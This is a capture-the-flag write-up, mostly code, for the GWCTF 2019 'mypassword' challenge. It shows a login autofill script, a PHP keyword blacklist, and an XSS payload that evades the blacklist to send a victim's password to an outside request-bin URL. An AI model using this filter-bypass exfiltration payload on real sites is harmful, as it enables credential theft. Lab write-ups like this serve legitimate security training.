[GWCTF 2019]mypassword-解题步骤详解

if (document.cookie && document.cookie != '') {  var cookies = document.cookie.split('; ');  var cookie = {};  for (var i = 0; i < cookies.length; i++) {    var arr = cookies[i].split('=');    var key = arr[0];    cookie[key] = arr[1];  }  if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){    document.getElementsByName("username")[0].value = cookie['user'];    document.getElementsByName("password")[0].value = cookie['psw'];  }}

if(is_array($feedback)){        echo "<script>alert('反馈不合法');</script>";        return false;      }      $blacklist = ['_',''','&','\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];      foreach ($blacklist as $val) {            while(true){                if(stripos($feedback,$val) !== false){                    $feedback = str_ireplace($val,"",$feedback);                }else{                    break;                }            }        }

http://http.requestbin.buuoj.cn

<incookieput type="text" name="username"><incookieput type="password" name="password"><scrcookieipt scookierc="./js/login.js"></scrcookieipt><scrcookieipt>    var psw = docucookiement.getcookieElementsByName("password")[0].value;    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/y6b4uwy6/?a="+psw;</scrcookieipt>